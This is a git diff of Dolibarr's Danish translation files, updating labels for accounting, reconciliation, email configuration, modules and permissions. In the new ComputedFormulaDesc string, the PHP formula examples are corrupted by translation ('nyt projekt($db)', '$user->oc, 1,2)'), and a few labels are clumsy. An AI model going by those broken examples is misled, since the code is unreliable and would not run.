-ACCOUNTING_SERVICE_SOLD_ACCOUNT=Regnskabskonto som standard for solgte ydelser (hvis ikke defineret for varen) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Regnskabskonto som standard for de tjenester, der sælges i EØF (bruges, hvis de ikke er defineret i servicearket) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Regnskabskonto er som standard for de tjenester, der sælges og eksporteres ud af EØF (bruges, hvis de ikke er defineret i servicearket) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Konto (fra kontoplanen), der skal bruges som standardkonto for de tjenester, der er købt i samme land (bruges, hvis det ikke er defineret i servicearket) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Konto (fra kontoplanen), der skal bruges som standardkonto for de tjenester, der er købt fra EEC til et andet EEC-land (bruges, hvis det ikke er defineret i servicearket) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Konto (fra kontoplanen), der skal bruges som standardkonto for de tjenester, der er købt og importeret fra et andet fremmed land (bruges, hvis det ikke er defineret i servicearket) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Konto (fra kontoplanen), der skal bruges som standardkonto for de solgte tjenester (bruges, hvis det ikke er defineret i servicearket) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Konto (fra kontoplanen), der skal bruges som standardkonto for de tjenester, der sælges fra EEC til et andet EEC-land (bruges, hvis det ikke er defineret i servicearket) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Konto (fra kontoplanen), der skal bruges som standardkonto for de tjenester, der sælges og eksporteres til ethvert andet fremmed land (bruges, hvis det ikke er defineret i servicearket) Doctype=Dokumenttype Docdate=Dato @@ -214,7 +220,8 @@ Codejournal=Kladde JournalLabel=Journalmærke NumPiece=Partsnummer TransactionNumShort=Transaktionsnr. -AccountingCategory=Brugerdefineret gruppe +AccountingCategory=Brugerdefineret gruppe af konti +AccountingCategories=Brugerdefinerede grupper af konti GroupByAccountAccounting=Gruppér efter hovedkontokonto GroupBySubAccountAccounting=Gruppér efter underkonti AccountingAccountGroupsDesc=Du kan definere her nogle grupper af regnskabskonto. De vil blive brugt til personlige regnskabsrapporter. @@ -231,6 +238,7 @@ ConfirmDeleteMvt=Dette vil slette alle linjer i regnskabet for året/måneden og ConfirmDeleteMvtPartial=Dette vil slette transaktionen fra regnskabet (alle linjer relateret til den samme transaktion vil blive slettet) FinanceJournal=Finanskladde ExpenseReportsJournal=Udgiftskladder +InventoryJournal=Lagerjournal DescFinanceJournal=Regnskabskladde inkl. alle betalingstyper med bankkonto DescJournalOnlyBindedVisible=Dette er en oversigt over poster, der er bundet til en regnskabskonto og kan registreres i tidsskrifterne og hovedbogen. VATAccountNotDefined=Momskonto ikke defineret @@ -262,19 +270,20 @@ ShowSubtotalByGroup=Vis subtotal efter niveau Pcgtype=Kontoens gruppe PcgtypeDesc=Kontogruppe bruges som foruddefinerede 'filter' og 'gruppering' kriterier for nogle regnskabsrapporter. For eksempel bruges 'INKOMST' eller 'UDGIFT' som grupper til regnskabsmæssige regnskaber for produkter til at oprette omkostnings- / indkomstrapporten. +AccountingCategoriesDesc=Brugerdefineret gruppe af konti kan bruges til at gruppere regnskabskonti i ét navn for at lette filterbrug eller opbygning af tilpassede rapporter. Reconcilable=Afstemning TotalVente=Samlet omsætning ekskl. moms TotalMarge=Samlet salgsforskel -DescVentilCustomer=Her findes listen over kundefakturalinjer, der er bundet (eller ikke) til en varekonto -DescVentilMore=I de fleste tilfælde kan du, hvis du bruger foruddefinerede produkter eller tjenester, og du angiver kontonummeret på produkt- / servicekortet, vil applikationen kunne foretage hele bindingen mellem dine fakturaer og bogføringen af ​​dit kontoplan, bare i et klik med knappen "%s" . Hvis kontoen ikke er angivet på produkt- / servicekort, eller hvis du stadig har nogle linjer, der ikke er bundet til en konto, skal du lave en manuel binding fra menuen " %s". -DescVentilDoneCustomer=Her findes list over fakturalinjer bundet til kunder og deres varekonti -DescVentilTodoCustomer=Bogfør fakturaer, der ikke allerede er bogført til en varekonto -ChangeAccount=Skift regnskabskonto for vare/ydelse for valgte linjer med følgende regnskabskonto: +DescVentilCustomer=Se her listen over kundefakturalinjer, der er bundet (eller ej) til en produktkonto fra kontoplan +DescVentilMore=I de fleste tilfælde, hvis du bruger foruddefinerede produkter eller tjenester, og du angiver kontoen (fra kontoplan) på produkt-/servicekortet, vil applikationen være i stand til at foretage hele bindingen mellem dine fakturalinjer og regnskabskontoen i dit diagram af konti, bare med et enkelt klik med knappen "%s" . Hvis konto ikke var sat på produkt-/servicekort, eller hvis du stadig har nogle linjer, der ikke er bundet til en konto, skal du foretage en manuel binding fra menuen " %s ". +DescVentilDoneCustomer=Se her listen over linjer med fakturakunder og deres produktkonto fra kontoplan +DescVentilTodoCustomer=Bind fakturalinjer, der ikke allerede er bundet til en produktkonto fra kontoplan +ChangeAccount=Skift produkt-/servicekonto (fra kontoplan) for de valgte linjer med følgende konto: Vide=- -DescVentilSupplier=Se her listen over leverandørfakturelinjer, der er bundet eller endnu ikke bundet til en produktregnskabskonto (kun post, der ikke allerede er overført i regnskab, er synlig) +DescVentilSupplier=Se her listen over leverandørfakturalinjer, der er bundet eller endnu ikke bundet til en produktkonto fra kontoplan (kun post, der ikke allerede er overført i regnskabet er synlig) DescVentilDoneSupplier=Se her listen over linjer med leverandørfakturaer og deres regnskabskonto DescVentilTodoExpenseReport=Bogfør udgiftsrapportlinjer, der ikke allerede er bogført, til en gebyrkonto DescVentilExpenseReport=Her vises listen over udgiftsrapporter linjer bundet (eller ej) til en gebyrkonto @@ -286,20 +295,21 @@ DescClosure=Se her antallet af bevægelser pr. måned, der endnu ikke er valider OverviewOfMovementsNotValidated=Oversigt over bevægelser, der ikke er valideret og låst AllMovementsWereRecordedAsValidated=Alle bevægelser blev registreret som validerede og låste NotAllMovementsCouldBeRecordedAsValidated=Ikke alle bevægelser kunne registreres som validerede og låste -ValidateMovements=Valider og lås registrering... +ValidateMovements=Valider og lås bevægelser... DescValidateMovements=Enhver ændring eller sletning af skrivning, bogstaver og sletning er forbudt. Alle poster til en øvelse skal valideres, ellers er lukning ikke mulig ValidateHistory=Automatisk Bogføring AutomaticBindingDone=Automatiske bindinger udført (%s) - Automatisk binding er ikke mulig for nogle poster (%s) +DoManualBindingForFailedRecord=Du skal lave et manuelt link for %s række(r), der ikke linkes automatisk. -ErrorAccountancyCodeIsAlreadyUse=Fejl. Du kan ikke slette denne regnskabskonto, fordi den er i brug +ErrorAccountancyCodeIsAlreadyUse=Fejl, du kan ikke fjerne eller deaktivere denne kontoplan, fordi den er brugt MvtNotCorrectlyBalanced=Bevægelse ikke korrekt afbalanceret. Debet = %s & Kredit = %s Balancing=Balancing FicheVentilation=Bogførings Oversigt GeneralLedgerIsWritten=Transaktionerne er blevet bogført GeneralLedgerSomeRecordWasNotRecorded=Nogle af transaktionerne kunne ikke journaliseres. Hvis der ikke er nogen anden fejlmeddelelse, er det sandsynligvis fordi de allerede var journaliseret. NoNewRecordSaved=Ikke mere post at overføre -ListOfProductsWithoutAccountingAccount=Liste over varer, der ikke er bundet til nogen regnskabskonto +ListOfProductsWithoutAccountingAccount=Liste over produkter, der ikke er bundet til nogen kontoplan ChangeBinding=Ret Bogføring Accounted=Regnskab i hovedbog NotYetAccounted=Endnu ikke overført til regnskab @@ -322,9 +332,10 @@ AccountingJournalType1=Diverse operationer AccountingJournalType2=Salg AccountingJournalType3=Køb AccountingJournalType4=Bank -AccountingJournalType5=Udgiftsrapport +AccountingJournalType5=Udgiftsrapporter AccountingJournalType8=Beholdning AccountingJournalType9=Har nyt +GenerationOfAccountingEntries=Generering af regnskabsposteringer ErrorAccountingJournalIsAlreadyUse=Denne kladde er allerede i brug AccountingAccountForSalesTaxAreDefinedInto=Bemærk: Regnskabskonto for salgsmoms er defineret i menuen %s - %s NumberOfAccountancyEntries=Antal poster @@ -332,10 +343,14 @@ NumberOfAccountancyMovements=Antal bevægelser ACCOUNTING_DISABLE_BINDING_ON_SALES=Deaktiver binding og overførsel i regnskab ved salg (kundefakturaer tages ikke med i regnskabet) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Deaktiver binding og overførsel i regnskab ved køb (leverandørfakturaer tages ikke med i regnskabet) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Deaktiver binding og overførsel i regnskab på udgiftsrapporter (udgiftsrapporter tages ikke med i regnskabet) +ACCOUNTING_ENABLE_LETTERING=Aktiver bogstavfunktionen i regnskabet +ACCOUNTING_ENABLE_AUTOLETTERING=Aktiver den automatiske bogstaver ved overførsel til regnskab ## Export +NotExportLettering=Eksporter ikke bogstaverne, når du genererer filen NotifiedExportDate=Flag eksporterede linjer som eksporteret (for at ændre en linje skal du slette hele transaktionen og overføre den til regnskab igen) NotifiedValidationDate=Valider og lås de eksporterede indgange (samme effekt som "%s"-funktionen, ændring og sletning af linjerne vil DEFINITIVT ikke være mulig) +NotifiedExportFull=Eksportere dokumenter? DateValidationAndLock=Datovalidering og lås ConfirmExportFile=Bekræftelse af genereringen af den regnskabsmæssige eksportfil? ExportDraftJournal=Eksporter udkast til kladde @@ -392,7 +407,7 @@ SaleLocal=Lokalt salg SaleExport=Eksport salg SaleEEC=Salg i EU SaleEECWithVAT=Salg i EU med en moms, der ikke er null, så vi antager, at dette IKKE er et intrakommunalt salg, og den foreslåede konto er standardproduktskontoen. -SaleEECWithoutVATNumber=Du kan fastsætte moms nummer for tredjepart eller produktkonto om nødvendigt. +SaleEECWithoutVATNumber=Salg i EEC uden moms, men tredjemands moms-id er ikke defineret. Vi falder tilbage på kontoen for standardsalg. Du kan rette tredjepartens moms-id eller ændre den produktkonto, der er foreslået til binding, hvis det er nødvendigt. ForbiddenTransactionAlreadyExported=Forbudt: Transaktionen er blevet valideret og/eller eksporteret. ForbiddenTransactionAlreadyValidated=Forbudt: Transaktionen er blevet valideret. ## Dictionary @@ -401,7 +416,11 @@ Calculated=Beregnet Formula=Formel ## Reconcile +LetteringAuto=Afstem auto +LetteringManual=Forene manual Unlettering=Uforlige +UnletteringAuto=Afstem auto +UnletteringManual=Uafstemt manual AccountancyNoLetteringModified=Ingen afstemning ændret AccountancyOneLetteringModifiedSuccessfully=Én afstemning blev ændret med succes AccountancyLetteringModifiedSuccessfully=%s afstemning blev ændret @@ -410,8 +429,9 @@ AccountancyOneUnletteringModifiedSuccessfully=Én afstemning blev ændret med su AccountancyUnletteringModifiedSuccessfully=%s afstemning blev ændret med succes ## Confirm box -ConfirmMassUnlettering=Bekræftelse af masseafstemning -ConfirmMassUnletteringQuestion=Er du sikker på, at du vil afstemme de %s valgte post(er)? +ConfirmMassUnletteringAuto=Bekræftelse af automatisk afstemning af bulk +ConfirmMassUnletteringManual=Bekræftelse af manuel afstemning af bulk +ConfirmMassUnletteringQuestion=Er du sikker på, at du vil afstemme de valgte %s-poster()? ConfirmMassDeleteBookkeepingWriting=Bekræftelse på massesletning ConfirmMassDeleteBookkeepingWritingQuestion=Dette vil slette transaktionen fra regnskabet (alle linjer relateret til den samme transaktion vil blive slettet) Er du sikker på, at du vil slette de %s valgte post(er)? @@ -431,6 +451,7 @@ AccountancyErrorMismatchLetterCode=Uoverensstemmelse i afstemningskode AccountancyErrorMismatchBalanceAmount=Saldoen (%s) er ikke lig med 0 AccountancyErrorLetteringBookkeeping=Der er opstået fejl vedrørende transaktionerne: %s ErrorAccountNumberAlreadyExists=Kontonummeret %s findes allerede +ErrorArchiveAddFile=Kan ikke lægge "%s" fil i arkivet ## Import ImportAccountingEntries=Regnskabsposter @@ -451,12 +472,13 @@ FECFormatCredit=Kredit (kredit) FECFormatReconcilableCode=Forenelig kode (EcritureLet) FECFormatReconcilableDate=Afstemningsdato (DateLet) FECFormatValidateDate=Stykkets dato valideret (ValidDate) -FECFormatMulticurrencyAmount=Multicurrency-beløb (Montantdevise) +FECFormatMulticurrencyAmount=Multivaluta beløb (Montantdevise) FECFormatMulticurrencyCode=MultiValuta-kode (Idevise) DateExport=Eksport dato WarningReportNotReliable=Advarsel, denne rapport er ikke baseret på Ledger, så indeholder ikke transaktion ændret manuelt i Ledger. Hvis din journalisering er opdateret, er bogføringsvisningen mere præcis. ExpenseReportJournal=Udgifts Journal -InventoryJournal=Opgørelse Journal +DocsAlreadyExportedAreExcluded=Dokumenter, der allerede er eksporteret, er ekskluderet +ClickToHideAlreadyExportedLines=Klik for at skjule allerede eksporterede linjer NAccounts=%s konti diff --git a/htdocs/langs/da_DK/admin.lang b/htdocs/langs/da_DK/admin.lang index 01b6d39787a..1a87b301475 100644 --- a/htdocs/langs/da_DK/admin.lang +++ b/htdocs/langs/da_DK/admin.lang @@ -1,11 +1,11 @@ # Dolibarr language file - Source file is en_US - admin -BoldRefAndPeriodOnPDF=Udskriv reference og periode for vare i PDF +BoldRefAndPeriodOnPDF=Udskriv reference og periode for produktvare i PDF BoldLabelOnPDF=Udskriv vare etiket med fed skrift i PDF Foundation=Grundlag Version=Version Publisher=Udgiver VersionProgram=Program version -VersionLastInstall=Første installerede version +VersionLastInstall=Oprindeligt installerede version VersionLastUpgrade=Seneste opgraderede version VersionExperimental=Eksperimentel VersionDevelopment=Udvikling @@ -51,8 +51,6 @@ ClientSortingCharset=Klient sortering WarningModuleNotActive=Modul %s skal være aktiveret WarningOnlyPermissionOfActivatedModules=Kun rettigheder relateret til aktiverede moduler vises her. Du kan aktivere andre moduler på siden Hjem->Opsætning->Moduler/Applikationer. DolibarrSetup=Dolibarr installer eller opgrader -InternalUser=Intern bruger -ExternalUser=Ekstern bruger InternalUsers=Interne brugere ExternalUsers=Eksterne brugere UserInterface=Brugergrænseflade @@ -147,6 +145,7 @@ Box=Widget Boxes=Widgets MaxNbOfLinesForBoxes=Maks. antal linjer til widgets AllWidgetsWereEnabled=Alle tilgængelige widgets er aktiveret +WidgetAvailable=Widget tilgængelig PositionByDefault=Standardrækkefølge Position=Position MenusDesc=Menumanager indstiller indholdet af de to menulinjer (vandret og lodret). @@ -293,7 +292,8 @@ MAIN_MAIL_SMTP_PORT=SMTP/SMTPS Port (standardværdi i php.ini: %s) MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS Host (standardværdi i php.ini: %s) MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP/SMTPS Port (Ikke defineret i PHP på Unix lignende systemer) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS Host (Ikke defineret i PHP på Unix lignende systemer) -MAIN_MAIL_EMAIL_FROM=Afsender-e-mail til automatiske e-mails (standardværdi i php.ini: %s ) +MAIN_MAIL_EMAIL_FROM=Afsender adresse for automatiske e-mails (standardværdi i php.ini: %s ) +EMailHelpMsgSPFDKIM=For at forhindre, at Dolibarr-e-mails klassificeres som spam, skal du sørge for, at serveren er autoriseret til at sende e-mails fra denne adresse ved SPF- og DKIM-konfiguration MAIN_MAIL_ERRORS_TO=E-mail brugt til fejl returnerer e-mails (felterne 'Errors-To' i sendte e-mails) MAIN_MAIL_AUTOCOPY_TO= Kopier (Bcc) alle sendte e-mails til MAIN_DISABLE_ALL_MAILS=Deaktiver al afsendelse af e-mail (til testformål eller demoer) @@ -312,7 +312,7 @@ MAIN_MAIL_EMAIL_DKIM_PRIVATE_KEY=Privat nøgle til DKIM signering MAIN_DISABLE_ALL_SMS=Deaktiver al SMS afsendelse (til testformål eller demoer) MAIN_SMS_SENDMODE=Metode til at bruge til at sende SMS MAIN_MAIL_SMS_FROM=Standard afsender telefonnummer til SMS-afsendelse -MAIN_MAIL_DEFAULT_FROMTYPE=Standard afsender e-mail til manuel afsendelse (bruger-e-mail eller firma-e-mail) +MAIN_MAIL_DEFAULT_FROMTYPE=Standard afsender e-mail til manuel afsendelse (bruger e-mail eller firma e-mail) UserEmail=Bruger e-mail CompanyEmail=Firma e-mail FeatureNotAvailableOnLinux=Funktionen er ikke tilgængelig på Unix lignende systemer. Test dit sendmail program lokalt. @@ -375,7 +375,7 @@ DoTestSendHTML=Test afsendelse af HTML ErrorCantUseRazIfNoYearInMask=Fejl, kan ikke bruge option @ til at nulstille tælleren hvert år, hvis sekvensen {yy} eller {yyyy} ikke er i masken. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Fejl, kan ikke bruge option @, hvis sekvensen {yy}{mm} eller {yyyy}{mm} ikke er i masken. UMask=UMask parameter for nye filer på Unix/Linux/BSD/Mac filsystem. -UMaskExplanation=Denne parameter giver dig mulighed for at definere rettigheder sat som standard på filer oprettet af Dolibarr på serveren (under upload for eksempel).
      Det skal være den Oktale værdi (f.eks. betyder 0666 læse og skrive rettigheder for alle).
      Denne parameter bruges ikke på en Windows-server. +UMaskExplanation=Denne parameter giver dig mulighed for at definere tilladelser sat som standard på filer oprettet af Dolibarr på serveren (under upload for eksempel).
      Det skal være den oktale værdi (f.eks. betyder 0666 læse og skrive for alle.). Den anbefalede værdi er 0600 eller 0660
      Denne parameter er ubrugelig på en Windows-server. SeeWikiForAllTeam=Tag et kig på Wiki-siden for en liste over bidragydere og deres organisation UseACacheDelay= Forsinkelse for cachelagring af eksport svar i sekunder (0 eller tom for ingen cache) DisableLinkToHelpCenter=Skjul linket "Brug for hjælp eller support" på login-siden @@ -439,8 +439,10 @@ Unique=Unik Boolean=boolsk (et afkrydsningsfelt) ExtrafieldPhone = Telefon ExtrafieldPrice = Pris +ExtrafieldPriceWithCurrency=Pris med valuta ExtrafieldMail = E-mail ExtrafieldUrl = URL +ExtrafieldIP = IP ExtrafieldSelect = Vælg liste ExtrafieldSelectList = Vælg fra tabel ExtrafieldSeparator=Separator (ikke et felt) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Afkrydsningsfelter ExtrafieldCheckBoxFromList=Afkrydsningsfelter fra tabellen ExtrafieldLink=Link til et objekt ComputedFormula=Beregnet felt -ComputedFormulaDesc=Du kan her indtaste en formel ved hjælp af andre egenskaber af objektet eller enhver PHP-kodning for at få en dynamisk beregnet værdi. Du kan bruge alle PHP-kompatible formler inklusive "?" betingelsesoperator og følgende globale objekt: $db, $conf, $langs, $mysoc, $user, $object.
      ADVARSEL: Kun nogle egenskaber for $object er tilgængelige. Hvis du har brug for en egenskab, der ikke er indlæst, skal du hente objektet ind i din formel som i det andet eksempel.
      Brug af et beregnet felt betyder, at du ikke selv kan indtaste nogen værdi fra grænsefladen. Hvis der er en syntaksfejl, vil formlen muligvis ikke returnere noget.

      Eksempel på formel:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Eksempel på genindlæsning af objekt
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Andet eksempel på formel til at tvinge genindlæsning af objektet og dets overordnede objekt:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +ComputedFormulaDesc=Du kan her indtaste en formel ved hjælp af andre egenskaber for objektet eller enhver PHP-kodning for at få en dynamisk beregnet værdi. Du kan bruge alle PHP-kompatible formler inklusive "?" betingelsesoperator og følgende globale objekt: $db, $conf, $langs, $mysoc, $user, $objectoffield .
      ADVARSEL : Hvis du har brug for egenskaber for et objekt, der ikke er indlæst, skal du bare hente objektet ind i din formel som i det andet eksempel.
      Brug af et beregnet felt betyder, at du ikke kan indtaste dig selv nogen værdi fra grænsefladen. Hvis der er en syntaksfejl, vil formlen muligvis ikke returnere noget.

      Eksempel på formel:
      $objectoffield->id < 10 ? round($objectoffield-> id / 2, 2): ($objectoffield->id + 2 *$user->oc, 1,2) )

      Eksempel på genindlæsning af objekt
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoftionsfield_>id)' >$rebjreoptions]field->id-$' > ->hovedstad / 5: '-1')

      Andet eksempel på formel til at tvinge belastning af objektet og dets overordnede objekt:
      (($reloadedobj = new Task($db)) && ($reloadfield ->id) > 0) && ($secondloadedobj = nyt projekt($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Overordnet projekt blev ikke fundet' Computedpersistent=Gem beregnet felt ComputedpersistentDesc=Beregnet ekstra felter vil blive gemt i databasen, dog vil værdien først blive genberegnet, når objektet i dette felt ændres. Hvis det beregnede felt afhænger af andre objekter eller globale data, kan denne værdi være forkert!! ExtrafieldParamHelpPassword=At lade dette felt være tomt betyder, at denne værdi vil blive gemt uden kryptering (feltet må kun skjules med stjerne på skærmen).
      Indstil 'auto' for at bruge standardkrypteringsreglen til at gemme adgangskoden i databasen (så vil værdien kun være hashen, ingen måde at hente den oprindelige værdi på) @@ -462,7 +464,7 @@ ExtrafieldParamHelpchkbxlst=Liste over værdier kommer fra en tabel
      Syntaks: ExtrafieldParamHelplink=Parametre skal være ObjectName:Classpath
      Syntaks: ObjectName:Classpath ExtrafieldParamHelpSeparator=Hold tom for en simpel adskiller
      Indstil denne til 1 for en kollapsende separator (åben som standard for ny session, så beholdes status for hver brugersession)
      Indstil denne til 2 for en kollapsende separator (skjulet som standard for ny session, så beholdes status før hver brugersession) LibraryToBuildPDF=Mappe brugt til PDF generering -LocalTaxDesc=Nogle lande kan pålægge to eller tre afgifter på hver fakturalinje. Hvis dette er tilfældet, skal du vælge typen for anden og tredje skat og dens sats. Mulige typer er:
      1: lokal skat pålægges varer og tjenesteydelser uden moms (lokal skat beregnes på beløb uden moms)
      2: lokal skat pålægges produkter og tjenesteydelser inklusive moms (lokal skat beregnes på beløb + hovedskat)
      3: lokal afgift pålægges produkter uden moms (lokal afgift beregnes af beløb uden afgift)
      4: lokal afgift pålægges produkter inklusiv moms (lokal afgift beregnes på beløb + hovedmoms)
      5: lokal afgift pålægges ydelser uden moms (lokal afgift beregnes på ydelser uden moms) på beløb uden skat)
      6: lokal skat pålægges ydelser inklusive moms (lokal skat beregnes på beløb + skat) +LocalTaxDesc=Nogle lande kan pålægge to eller tre afgifter på hver fakturalinje. Hvis dette er tilfældet, skal du vælge typen for anden og tredje skat og dens sats. Mulige typer er:
      1: lokal skat pålægges varer og tjenesteydelser uden moms (lokal skat beregnes på beløb uden moms)
      2: lokal skat pålægges produkter og tjenesteydelser inklusive moms (lokal skat beregnes på beløb + hovedskat)
      3: lokal afgift pålægges produkter uden moms (lokal afgift beregnes af beløb uden afgift)
      4: lokal afgift pålægges produkter inklusiv moms (lokal afgift beregnes på beløb + hovedmoms)
      5: lokal afgift pålægges ydelser uden moms (lokal afgift beregnes på beløb uden skat)
      6: lokal skat pålægges ydelser inklusive moms (lokal skat beregnes på beløb + skat) SMS=SMS LinkToTestClickToDial=Indtast et telefonnummer at ringe til, for at vise et link til at teste ClickToDial webadressen for bruger %s RefreshPhoneLink=Opdater link @@ -501,7 +503,8 @@ WarningPHPMail=ADVARSEL: Opsætningen til at sende e-mails fra applikationen bru WarningPHPMailA=- Brug af e-mail-tjenesteudbyderens server øger pålideligheden af din e-mail, så det øger leveringsevnen uden at blive markeret som SPAM WarningPHPMailB=- Nogle e-mail-tjenesteudbydere (som Yahoo) tillader ikke, at du sender en e-mail fra en anden server end deres egen server. Din nuværende opsætning bruger applikationens server til at sende e-mail og ikke serveren på din e-mail-udbyder, så nogle modtagere (den der er kompatibel med den restriktive DMARC protokol), vil spørge din e-mail-udbyder, om de kan acceptere din e-mail og nogle e-mail-udbydere (som Yahoo) kan svare "nej", fordi serveren ikke er deres, så få af dine sendte e-mails bliver muligvis ikke accepteret til levering (vær også forsigtig med din e-mailudbyders sendekvote). WarningPHPMailC=- Det er også interessant at bruge SMTP-serveren fra din egen e-mail-tjenesteudbyder til at sende e-mails, så alle e-mails, der sendes fra applikationen, vil også blive gemt i din "Sendte" mappe i din postkasse. -WarningPHPMailD=Det anbefales derfor også at ændre afsendelsesmetoden for e-mails til værdien "SMTP". Hvis du virkelig vil beholde standardmetoden "PHP" til at sende e-mails, skal du bare ignorere denne advarsel eller fjerne den ved at indstille MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP konstanten til 1 i Hjem - Opsætning - Øvrig opsætning. +WarningPHPMailD=Det anbefales derfor at ændre afsendelsesmetoden for e-mails til værdien "SMTP". +WarningPHPMailDbis=Hvis du virkelig vil beholde standardmetoden "PHP" til at sende e-mails, skal du bare ignorere denne advarsel eller fjerne den ved at %sklikke her%s. WarningPHPMail2=Hvis din e-mail SMTP-udbyder har brug for at begrænse e-mail klienten til nogle IP-adresser (meget sjældent), er dette IP-adressen på mailbrugeragenten (MUA) til din ERP CRM-applikation: %s. WarningPHPMailSPF=Hvis domænenavnet i din afsender e-mail adresse er beskyttet af en SPF-record (spørg din domænenavnsregistrator), skal du tilføje følgende IP-adresser i SPF-recorden for dit domænes DNS: %s. ActualMailSPFRecordFound=Faktisk SPF-post fundet (for e-mail %s): %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Eksempel:
      For formularen til at oprette en PageUrlForDefaultValuesList=
      Eksempel:
      For siden, der viser tredjeparter, er det %s.
      For URL'er for eksterne moduler installeret i brugerdefineret mappe, skal du ikke inkludere "custom/", så brug en sti som mymodule/mypagelist.php og ikke custom/mymodule/mypagelist.php.
      Hvis du kun ønsker standardværdi, hvis url har en eller anden parameter, kan du bruge %s AlsoDefaultValuesAreEffectiveForActionCreate=Bemærk også, at overskrivning af standardværdier til oprettelse af formularer kun virker for sider, der er designet korrekt (så med parameteren action=create or presend...) EnableDefaultValues=Aktiver tilpasning af standardværdier -EnableOverwriteTranslation=Aktiver brug af egne oversættelser +EnableOverwriteTranslation=Tillad tilpasning af oversættelser GoIntoTranslationMenuToChangeThis=Der er fundet en oversættelse til nøglen med denne kode. For at ændre denne værdi skal du redigere den fra Hjem - Opsætning - Oversættelse. WarningSettingSortOrder=Advarsel, indstilling af en standard sorteringsrækkefølge kan resultere i en teknisk fejl, når du går på listesiden, hvis feltet er et ukendt felt. Hvis du oplever en sådan fejl, skal du vende tilbage til denne side for at fjerne standardsorteringsrækkefølgen og gendanne standardadfærd. Field=Felt @@ -643,11 +646,13 @@ Module2300Name=Planlagte job Module2300Desc=Planlagt job styring (alias cron eller chrono tabel) Module2400Name=Begivenheder/tidsplan Module2400Desc=Spor begivenheder. Log automatiske begivenheder til sporingsformål eller optag manuelle begivenheder eller møder. Dette er hovedmodulet for god kunde- eller leverandør-relationsstyring. +Module2430Name=Bestillingskalendersystem +Module2430Desc=Giv en onlinekalender, så alle kan booke et møde, i henhold til foruddefinerede intervaller eller tilgængeligheder. Module2500Name=DMS / ECM Module2500Desc=Dokumentstyringssystem / Elektronisk indholdsstyring. Automatisk organisering af dine genererede eller gemte dokumenter. Del dem, når du har behov for det. -Module2600Name=API/webtjenester (SOAP server) +Module2600Name=API / webtjenester (SOAP-server) Module2600Desc=Aktiver Dolibarr SOAP serveren, der leverer API-tjenester -Module2610Name=API/webtjenester (REST server) +Module2610Name=API / webtjenester (REST-server) Module2610Desc=Aktiver Dolibarr REST serveren, der leverer API-tjenester Module2660Name=Ring til Web tjenesterne (SOAP klient) Module2660Desc=Aktiver Dolibarr webservice klienten (Kan bruges til at sende data/anmodninger til eksterne servere. Kun indkøbsordrer understøttes i øjeblikket.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP Maxmind konverteringsmuligheder Module3200Name=Uforanderlige arkiver Module3200Desc=Aktiver en uforanderlig log over forretningsbegivenheder. Begivenheder arkiveres i realtid. Loggen er en skrivebeskyttet tabel over kædede hændelser, der kan eksporteres. Dette modul er obligatorisk i nogle lande. +Module3300Name=Modulbygger +Module3300Desc=Et RAD (Rapid Application Development - lav kode og ingen kode) værktøj til at hjælpe udviklere eller avancerede brugere med at bygge deres eget modul/applikation. Module3400Name=Sociale netværk Module3400Desc=Aktiver sociale netværksfelter til tredjeparter og adresser (Skype, Twitter, Facebook, ...). Module4000Name=Personaleadministration @@ -698,7 +705,10 @@ Module62000Name=Incoterms Module62000Desc=Tilføj funktioner til at administrere Incoterms Module63000Name=Ressourcer Module63000Desc=Administrer ressourcer (printere, biler, lokaler, ...) til at allokere til begivenheder -Permission11=Læs kundefakturaer +Module66000Name=Aktiver OAuth2-godkendelse +Module66000Desc=Giv et værktøj til at generere og administrere OAuth2-tokens. Tokenet kan derefter bruges af nogle andre moduler. +Module94160Name=Modtagelse +Permission11=Læs kundefakturaer (og betalinger) Permission12=Oprette/ændre kundefakturaer Permission13=Ugyldiggør kundefakturaer Permission14=Validere kundefakturaer @@ -842,9 +852,9 @@ Permission286=Eksporter kontakter Permission291=Læs takster Permission292=Indstil tilladelser til taksterne Permission293=Ændre kundens tariffer -Permission300=Læs stregkoder -Permission301=Opret/rediger stregkoder -Permission302=Slet stregkoder +Permission301=Generer PDF-ark med stregkoder +Permission304=Opret/rediger stregkoder +Permission305=Slet stregkoder Permission311=Læs tjenester Permission312=Tildel service/abonnement til kontrakt Permission331=Læs bogmærker @@ -940,7 +950,7 @@ Permission1190=Godkend (anden godkendelse) indkøbsordrer Permission1191=Eksporter leverandørordrer og deres attributter Permission1201=Få resultatet af en eksport Permission1202=Opret/ændre en eksport -Permission1231=Læs leverandørfakturaer +Permission1231=Læs leverandørfakturaer (og betalinger) Permission1232=Opret/rediger leverandørfakturaer Permission1233=Valider leverandørfakturaer Permission1234=Slet leverandørfaktura @@ -971,13 +981,14 @@ Permission3301=Generer nye moduler Permission4001=Læs færdigheder/job/stilling 